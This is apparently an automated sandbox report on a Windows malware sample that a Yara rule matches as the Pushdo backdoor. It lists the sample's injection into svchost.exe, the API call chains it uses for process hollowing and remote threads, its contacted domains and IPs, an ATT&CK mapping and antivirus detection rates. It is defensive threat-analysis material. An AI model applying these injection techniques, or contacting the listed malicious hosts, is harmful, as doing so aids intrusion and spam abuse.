Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.154.163.204 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: xinhui.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 86.105.245.69 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aluminox.es
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ie-roi.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mijash3.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: xult.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shanks.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.22.232.175 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.239.201.14 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vivastay.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.235.175 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 59.106.13.169 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: e-asset.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.0.29.214 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 193.70.68.254 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: plaske.ua
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: touchfam.ca
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.100.180.31 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: indonesiamedia.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: a-domani.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.235.31 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: softizer.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 102.134.49.77 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rokoron.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: k-nikko.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.193.133 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.jroy.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: doggybag.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gbp-jp.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sgk.home.pl
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.185.152 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 46.4.56.54 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: htsmx.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 188.114.96.7 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dwid.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ludea.cz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: skypearl.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 164.92.82.47 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.209.253.30 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 78san.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: esmoke.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: simetar.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: btsi.com.ph
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: agulatex.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gcss.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 79.96.161.192 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.66.220 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 148.130.4.196 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.143.148 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: alt4.gmail-smtp-in.l.google.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: magicomm.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: xsui.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nolaoig.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mkm-gr.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dyag-eng.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hchc.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: webband.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 15.197.204.56 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 188.114.97.7 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.100.146.220 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 603888.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 133.242.15.119 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ascc.org.au
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: canmore.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 34.193.69.252 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pertex.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.130.164.242 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shenhgts.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smtp.mail.yahoo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rappich.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: insia.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 202.172.28.89 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: biurohera.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: agitz.com.br
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wantapc.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sokuwan.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: duiops.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.200.51.73 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 31.15.12.103 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mcseurope.nl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: orbitgas.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.1.81.28 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fogra.com.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: polprime.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mondopp.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.39.198.18 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: deckoviny.cz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: roewer.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nettle.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: diamir.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: zugseil.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.udesign.biz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: jabian.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: oh28ya.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nme.co.jp

Writes to foreign memory regions

Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000			Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2D36008			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 7EDF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 7EAE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\pigalicapi.exe

Code function: 4_2_00EC20B0 GetEnvironmentVariableA,lstrcatA,lstrcatA,lstrcatA,VirtualAlloc,CreateProcessA,VirtualFree,VirtualAllocEx,VirtualAllocEx,TerminateProcess,CloseHandle,CloseHandle,VirtualFree,WriteProcessMemory,TerminateProcess,CloseHandle,CloseHandle,VirtualFree,VirtualFree,GetThreadContext,TerminateProcess,CloseHandle,CloseHandle,WriteProcessMemory,TerminateProcess,CloseHandle,CloseHandle,SetThreadContext,ResumeThread,TerminateProcess,CloseHandle,CloseHandle,

4_2_00EC20B0

Contains functionality to inject threads in other processes

Source: C:\Users\user\pigalicapi.exe	Code function: 4_2_00EC2510 VirtualAlloc,VirtualAllocEx,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,VirtualFree,CreateRemoteThread,		4_2_00EC2510
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_04001DC0 VirtualAlloc,VirtualAllocEx,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,VirtualFree,CreateRemoteThread,		5_2_04001DC0

Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior

Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

Code function: 0_2_010DE0BE cpuid

0_2_010DE0BE

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

Code function: 0_2_010DE562 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_010DE562

Source: C:\Users\user\pigalicapi.exe

4_2_00EC8F80

Stealing of Sensitive Information

Yara detected Backdoor Pushdo

Source: Yara match	File source: 4.2.pigalicapi.exe.ec0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.ec0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.pigalicapi.exe.1500000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CX17SY6xF6.exe.d60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.svchost.exe.4000000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.pigalicapi.exe.1500000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CX17SY6xF6.exe.d60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.svchost.exe.4000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.863723197.0000000001500000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.860363475.0000000000D60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	3 Native API	1 Windows Service	1 Windows Service	111 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	21 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	511 Process Injection	21 Virtualization/Sandbox Evasion	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	511 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	25 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	25 System Information Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Link
CX17SY6xF6.exe	29%	ReversingLabs
CX17SY6xF6.exe	35%	Virustotal	Browse
CX17SY6xF6.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\pigalicapi.exe	100%	Joe Sandbox ML
C:\Users\user\pigalicapi.exe	29%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
holp-ai.com	2%	Virustotal	Browse
impexnc.com	0%	Virustotal	Browse
webways.com	8%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.c9dd.com/C#i((	0%	Avira URL Cloud	safe
https://www.elpro.si/wp-content/uploads/2023/06/Untitled-design-600x338.jpg	0%	Avira URL Cloud	safe
https://www.stajerskagz.si/o-sgz-2/	0%	Avira URL Cloud	safe
https://www.elpro.si/wp-content/uploads/2020/03/ICO-75-Monitoring.svg	0%	Avira URL Cloud	safe
http://www.elpro.si/wp-content/themes/elpro/js/functions.js?ver=1.0.0	0%	Avira URL Cloud	safe
http://hotel-amadeus-frankfurt.de/js/form.class.js	0%	Avira URL Cloud	safe
https://www.elpro.si/wp-content/uploads/2023/07/PRENOSNA_2220-9670-asfalt_asvalt_moder-150x150.jpg	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/elpro-posebne-izvedbe-temperaturnih-tipal/merilni-pretvornik	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/wika-partner/kalibracija/	0%	Avira URL Cloud	safe
http://hotel-amadeus-frankfurt.de/fonts/DejaVu-Sans/stylesheet.css	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc	0%	Avira URL Cloud	safe
https://www.elpro.si/wp-content/uploads/2020/03/ICO-75-Prenosne-naprave.svg	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/rotronic/temperatura-rotronic-merilniki-temperature/	0%	Avira URL Cloud	safe
https://pohlfood.com/#website	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/ooohboi-steroids-for-elementor/assets/css/main.css?ver=2.1.50	0%	Avira URL Cloud	safe
http://a-domani.com/	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/merilniki-nivoja/jola-nivo-tekocin/prikazovalnik-toka-jola/	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/merilniki-nivoja/jola-nivo-tekocin/regulacija-nivoja/meritev	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/merilniki-tlaka/manometri-z-izhodnim-signalom/	0%	Avira URL Cloud	safe
https://inhouse.pohlfood.com/	0%	Avira URL Cloud	safe
https://www.pcgrate.com/#webpage	0%	Avira URL Cloud	safe
https://www.elpro.si/wp-content/uploads/2023/06/Untitled-design-64x36.jpg	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js?ver=3.14.1	0%	Avira URL Cloud	safe
http://gpthink.com/product/204.html	100%	Avira URL Cloud	malware
https://www.elpro.si/wp-content/uploads/2022/10/akcija-5-of-25-Copy-600x599.jpg	0%	Avira URL Cloud	safe
http://www.quadlock.com/Sb	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/wika-partner/tlak/pretvorniki-tlaka-wika/	0%	Avira URL Cloud	safe
http://www.stajum.com/N	100%	Avira URL Cloud	malware
http://www.elpro.si/	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/wika-partner/temperatura/prikazovalniki-temperature/	0%	Avira URL Cloud	safe
http://www.elpro.si/wp-content/plugins/magic-tooltips-for-contact-form-7/assets/css/jquery.qtip.min.	0%	Avira URL Cloud	safe
https://www.pwd.org/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	0%	Avira URL Cloud	safe
http://www.credo.edu.pl/m	100%	Avira URL Cloud	malware
https://www.elpro.si/kategorija-izdelka/razdelitev-po-standardih-direktivah/2014-34-eu/	0%	Avira URL Cloud	safe
http://www.credo.edu.pl/	100%	Avira URL Cloud	malware
https://www.elpro.si/avtorji/	0%	Avira URL Cloud	safe
http://www.stajum.com/V	100%	Avira URL Cloud	malware
https://www.elpro.si/kategorija-izdelka/resitve-za/industrija/	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/rotronic/tlak-rotronic-merilniki-tlaka/	0%	Avira URL Cloud	safe
http://sigtoa.com/	0%	Avira URL Cloud	safe
http://www.elpro.si/wp-content/plugins/yith-woocommerce-wishlist/assets/css/jquery.selectBox.css?ver	0%	Avira URL Cloud	safe
http://hotel-amadeus-frankfurt.de/uploads/pictures/resized/20130104085305_100_0645_105x0-aspect-wr.J	0%	Avira URL Cloud	safe
https://www.elpro.si/wp-content/uploads/2022/10/akcija-5-of-25-Copy-100x100.jpg	0%	Avira URL Cloud	safe
https://www.aevga.com/	100%	Avira URL Cloud	malware
https://www.elpro.si/kategorija-izdelka/wika-partner/tlak/	0%	Avira URL Cloud	safe
https://pohlfood.com/comments/feed/	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/merilniki-vlage/rotronic-vlaga-aktivnost-vode-dew-point-moni	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/real3d-flipbook/js/flipbook.pdfservice.min.js?ver=3.25	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/industrijske-tablice-telefoni-handheld/industrijski-skenerji	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/termometri-dataloggerji-ex/termometri/alkoholni-termometri/	0%	Avira URL Cloud	safe
http://www.naoi-a.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/pcb-restoration/	0%	Avira URL Cloud	safe
http://www.pwd.org/h	0%	Avira URL Cloud	safe
http://hotel-amadeus-frankfurt.de/js/jQuery/jquery-1.9.1.min.js	0%	Avira URL Cloud	safe
http://www.valselit.com/177-appartement-a-vendre-sigean-30378	100%	Avira URL Cloud	malware
http://www.abdg.com/	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/merilniki-tlaka/tlacni-vmesniki/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/stencil/	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/	0%	Avira URL Cloud	safe
http://hotel-amadeus-frankfurt.de/modules/contentDisplay/contentDisplay.mod.css	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/kabli-zice-in-konektorji/podaljski-za-termoclene-termoelemen	0%	Avira URL Cloud	safe
http://calvinly.com/	0%	Avira URL Cloud	safe
http://gholographic.com/	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/wc-product-table-pro/assets/css.min.css?ver=2.1.0	0%	Avira URL Cloud	safe
https://www.ora-ito.com/	0%	Avira URL Cloud	safe
http://hotel-amadeus-frankfurt.de/de/termine/detail/~id.22/Museumsuferfest-2013-23.-25.08.2013.html	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/wika-partner/nivo/pretvorniki-nivoja/	0%	Avira URL Cloud	safe
https://tickets.suresupport.com/faq/article-1596/en	0%	Avira URL Cloud	safe
http://zugseil.com/	0%	Avira URL Cloud	safe
https://www.lrsuk.com/	0%	Avira URL Cloud	safe
http://www.elpro.si/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	0%	Avira URL Cloud	safe
http://www.elpro.si/wp-content/plugins/mailchimp-for-woocommerce/public/js/mailchimp-woocommerce-pub	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/wika-partner/	0%	Avira URL Cloud	safe
http://myropcb.com/login/	0%	Avira URL Cloud	safe
http://www.elpro.si/wp-content/plugins/cf7-conditional-fields/style.css?ver=2.3.9	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/elpro-posebne-izvedbe-temperaturnih-tipal/profesionalni-seti	0%	Avira URL Cloud	safe
https://www.elpro.si/kategorija-izdelka/merilniki-tlaka/elektricni-pribor-za-merilnike-tlaka/	0%	Avira URL Cloud	safe
http://www.credo.edu.pl/0	100%	Avira URL Cloud	malware
https://pohlfood.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpohlfood.com%2F	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
holp-ai.com	59.106.13.169	true	true	2%, Virustotal, Browse	unknown
impexnc.com	204.11.56.48	true	true	0%, Virustotal, Browse	unknown
webways.com	188.114.96.7	true	true	8%, Virustotal, Browse	unknown
www.fcwcvt.org	188.114.96.7	true	true		unknown
dayvo.com	188.114.96.7	true	true		unknown
hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com	3.130.204.160	true	false		high
enguita.net	195.5.116.23	true	true		unknown
dataform.co.uk	83.223.113.46	true	true		unknown
shteeble.com	185.106.129.180	true	true		unknown
evcpa.com	192.124.249.10	true	false		unknown
shittas.com	208.91.197.46	true	true		unknown
kallman.net	185.76.64.25	true	true		unknown
bible.org	172.67.33.95	true	false		high
missnue.com	104.21.234.121	true	true		unknown
gphpedit.org	127.0.0.1	true	true		unknown
jsaps.com	49.212.235.59	true	true		unknown
avse.hu	185.129.138.60	true	true		unknown
pohlfood.com	104.218.10.254	true	false		unknown
notis.ru	185.178.208.141	true	true		unknown
canasil.com	104.26.3.14	true	true		unknown
www.jenco.co.uk	172.67.208.67	true	false		unknown
www.tyrns.com	62.75.216.137	true	false		unknown
nts-web.net	49.212.235.175	true	true		unknown
willsub.com	69.89.107.122	true	false		high
ldh.la.gov	75.2.95.235	true	false		high
shesfit.com	188.114.96.7	true	true		unknown
www.vexcom.com	104.21.55.224	true	false		unknown
cpmteam.com	188.114.97.7	true	false		high
tcpoa.com	164.90.244.158	true	true		unknown
kevyt.net	172.67.129.18	true	true		unknown
www.mobilnic.net	154.203.14.100	true	false		unknown
s5w.com	192.99.226.184	true	true		unknown
www.sclover3.com	157.112.182.239	true	false		unknown
in1.smtp.messagingengine.com	103.168.172.216	true	true		unknown
paraski.org	94.130.164.242	true	true		unknown
dog-jog.net	153.122.24.177	true	true		unknown
kamptal.at	128.204.134.138	true	true		unknown
bd-style.com	103.112.69.92	true	true		unknown
ora.ecnet.jp	60.43.154.138	true	false		high
adventist.ro	49.12.155.123	true	true		unknown
www.edimart.hu	81.2.194.241	true	false		unknown
zupraha.cz	77.78.104.3	true	true		unknown
isom.org	192.124.249.14	true	true		unknown
any-s.net	108.170.12.50	true	true		unknown
muhr-soehne.de	5.189.171.125	true	true		unknown
www.railbook.net	103.224.212.221	true	false		unknown
